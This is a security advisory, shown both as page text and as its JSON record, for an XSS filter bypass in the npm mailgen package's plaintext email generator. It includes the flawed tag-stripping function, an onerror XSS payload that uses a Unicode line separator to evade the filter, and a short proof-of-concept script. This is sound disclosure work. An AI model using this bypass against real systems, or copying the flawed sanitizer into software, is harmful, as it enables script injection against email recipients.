GHSA-Q4W9-X3RV-4C8J

Vulnerability from github – Published: 2025-10-15 19:29 – Updated: 2025-10-15 19:29
VLAI?
Summary
Mailgen has HTML Injection and XSS Filter Bypass in Plaintext Emails
Details

Summary

An HTML injection vulnerability in plaintext emails generated by Mailgen has been discovered. Projecta are affected if the Mailgen.generatePlaintext(email) method is used and passed in user-generated content. The issue was discovered and reported by Edoardo Ottavianelli (@edoardottt).

Details

The following function (inside index.js) is intended to strip all HTML content to produce a plaintext string.

// Plaintext text e-mail generator
Mailgen.prototype.generatePlaintext = function (params) {
    // Plaintext theme not cached?
    if (!this.cachedPlaintextTheme) {
        throw new Error('An error was encountered while loading the plaintext theme.');
    }

    // Parse email params and get back an object with data to inject
    var ejsParams = this.parseParams(params);

    // Render the plaintext theme with ejs, injecting the data accordingly
    var output = ejs.render(this.cachedPlaintextTheme, ejsParams);

    // Definition of the <br /> tag as a regex pattern
    var breakTag = /(?:\<br\s*\/?\>)/g;
    var breakTagPattern = new RegExp(breakTag);

    // Check the plaintext for html break tag, maintains backwards compatiblity
    if (breakTagPattern.test(this.cachedPlaintextTheme)) {
        // Strip all linebreaks from the rendered plaintext
        output = output.replace(/(?:\r\n|\r|\n)/g, '');

        // Replace html break tags with linebreaks
        output = output.replace(breakTag, '\n');

        // Remove plaintext theme indentation (tabs or spaces in the beginning of each line)
        output = output.replace(/^(?: |\t)*/gm, "");
    }

    // Decode HTML entities such as &copy;
    output = he.decode(output);

    // Strip all HTML tags from plaintext output
    output = output.replace(/<(.|\n)+?>/g, '');

    // All done!
    return output;
};

The process fails because it searches for HTML tags and attempts to strip them from the input. However, if the unicode encoded characters are present inside HTML tags, they are not removed. These encoded tags are then decoded later and become valid HTML content, which can lead to XSS vulnerabilities.

A valid payload is: <img src=x onerror=alert(1)\u2028>.

PoC

var Mailgen = require('mailgen');

// Configure mailgen by setting a theme and your product info
var mailGenerator = new Mailgen({
    theme: 'default',
    product: {
        // Appears in header & footer of e-mails
        name: 'Mailgen',
        link: 'https://mailgen.js/'
        // Optional product logo
        // logo: 'https://mailgen.js/img/logo.png'
    }
});

var email = {
    body: {
        name: 'John <img src=x onerror=alert(document.body.innerHTML)\u2028> Appleseed',
        intro: 'Welcome to Mailgen! We\'re very excited to have you on board.',
        action: {
            instructions: 'To get started with Mailgen, please click here:',
            button: {
                color: '#22BC66', // Optional action button color
                text: 'Confirm your account',
                link: 'secret-link'
            }
        },
        outro: 'Need help, or have questions? Just reply to this email, we\'d love to help.'
    }
};

var emailText = mailGenerator.generatePlaintext(email);
require('fs').writeFileSync('emailText.html', emailText, 'utf8');

Resulting output file (emailText.html):

Hi John <img src=x onerror=alert(document.body.innerHTML)
> Appleseed,

Welcome to Mailgen! We're very excited to have you on board.        

To get started with Mailgen, please click here:        
secret-link            

Need help, or have questions? Just reply to this email, we'd love to help.        

Yours truly,  
Mailgen

© 2025 Mailgen. All rights reserved.

Impact

Depending on the context/environment where the plaintext message is used, if HTML is rendered and executed can result in arbitrary code execution in the browser of the victim (potentially stealing secrets or sensitive information contained in the message).

Credits

Edoardo Ottavianelli (@edoardottt)

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.0.31"
      },
      "package": {
        "ecosystem": "npm",
        "name": "mailgen"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.0.32"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-62380"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-10-15T19:29:36Z",
    "nvd_published_at": "2025-10-15T17:16:00Z",
    "severity": "LOW"
  },
  "details": "### Summary\n\nAn HTML injection vulnerability in plaintext emails generated by Mailgen has been discovered. Projecta are affected if the `Mailgen.generatePlaintext(email)` method is used and passed in user-generated content. The issue was discovered and reported by Edoardo Ottavianelli (@edoardottt).\n\n### Details\n\nThe following function (inside index.js) is intended to strip all HTML content to produce a plaintext string.\n\n```javascript\n// Plaintext text e-mail generator\nMailgen.prototype.generatePlaintext = function (params) {\n    // Plaintext theme not cached?\n    if (!this.cachedPlaintextTheme) {\n        throw new Error(\u0027An error was encountered while loading the plaintext theme.\u0027);\n    }\n    \n    // Parse email params and get back an object with data to inject\n    var ejsParams = this.parseParams(params);\n\n    // Render the plaintext theme with ejs, injecting the data accordingly\n    var output = ejs.render(this.cachedPlaintextTheme, ejsParams);\n\n    // Definition of the \u003cbr /\u003e tag as a regex pattern\n    var breakTag = /(?:\\\u003cbr\\s*\\/?\\\u003e)/g;\n    var breakTagPattern = new RegExp(breakTag);\n\n    // Check the plaintext for html break tag, maintains backwards compatiblity\n    if (breakTagPattern.test(this.cachedPlaintextTheme)) {\n        // Strip all linebreaks from the rendered plaintext\n        output = output.replace(/(?:\\r\\n|\\r|\\n)/g, \u0027\u0027);\n\n        // Replace html break tags with linebreaks\n        output = output.replace(breakTag, \u0027\\n\u0027);\n\n        // Remove plaintext theme indentation (tabs or spaces in the beginning of each line)\n        output = output.replace(/^(?: |\\t)*/gm, \"\");\n    }\n\n    // Decode HTML entities such as \u0026copy;\n    output = he.decode(output);\n\n    // Strip all HTML tags from plaintext output\n    output = output.replace(/\u003c(.|\\n)+?\u003e/g, \u0027\u0027);\n\n    // All done!\n    return output;\n};\n```\n\nThe process fails because it searches for HTML tags and attempts to strip them from the input. However, if the unicode encoded characters are present inside HTML tags, they are not removed. These encoded tags are then decoded later and become valid HTML content, which can lead to XSS vulnerabilities.\n\nA valid payload is: `\u003cimg src=x onerror=alert(1)\\u2028\u003e`.\n\n### PoC\n\n```javascript\nvar Mailgen = require(\u0027mailgen\u0027);\n\n// Configure mailgen by setting a theme and your product info\nvar mailGenerator = new Mailgen({\n    theme: \u0027default\u0027,\n    product: {\n        // Appears in header \u0026 footer of e-mails\n        name: \u0027Mailgen\u0027,\n        link: \u0027https://mailgen.js/\u0027\n        // Optional product logo\n        // logo: \u0027https://mailgen.js/img/logo.png\u0027\n    }\n});\n\nvar email = {\n    body: {\n        name: \u0027John \u003cimg src=x onerror=alert(document.body.innerHTML)\\u2028\u003e Appleseed\u0027,\n        intro: \u0027Welcome to Mailgen! We\\\u0027re very excited to have you on board.\u0027,\n        action: {\n            instructions: \u0027To get started with Mailgen, please click here:\u0027,\n            button: {\n                color: \u0027#22BC66\u0027, // Optional action button color\n                text: \u0027Confirm your account\u0027,\n                link: \u0027secret-link\u0027\n            }\n        },\n        outro: \u0027Need help, or have questions? Just reply to this email, we\\\u0027d love to help.\u0027\n    }\n};\n\nvar emailText = mailGenerator.generatePlaintext(email);\nrequire(\u0027fs\u0027).writeFileSync(\u0027emailText.html\u0027, emailText, \u0027utf8\u0027);\n```\n\n**Resulting output file (emailText.html)**:\n\n```HTML\nHi John \u003cimg src=x onerror=alert(document.body.innerHTML)\n\u003e Appleseed,\n\nWelcome to Mailgen! We\u0027re very excited to have you on board.        \n\nTo get started with Mailgen, please click here:        \nsecret-link            \n\nNeed help, or have questions? Just reply to this email, we\u0027d love to help.        \n\nYours truly,  \nMailgen\n\n\u00a9 2025 Mailgen. All rights reserved.\n```\n\n### Impact\n\nDepending on the context/environment where the plaintext message is used, if HTML is rendered and executed can result in arbitrary code execution in the browser of the victim (potentially stealing secrets or sensitive information contained in the message).\n\n### Credits\n\nEdoardo Ottavianelli (@edoardottt)",
  "id": "GHSA-q4w9-x3rv-4c8j",
  "modified": "2025-10-15T19:29:36Z",
  "published": "2025-10-15T19:29:36Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/eladnava/mailgen/security/advisories/GHSA-q4w9-x3rv-4c8j"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-62380"
    },
    {
      "type": "WEB",
      "url": "https://github.com/eladnava/mailgen/commit/7a791a424ff3a3f7783f8750919f1e98639924a8"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/eladnava/mailgen"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Mailgen has HTML Injection and XSS Filter Bypass in Plaintext Emails"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…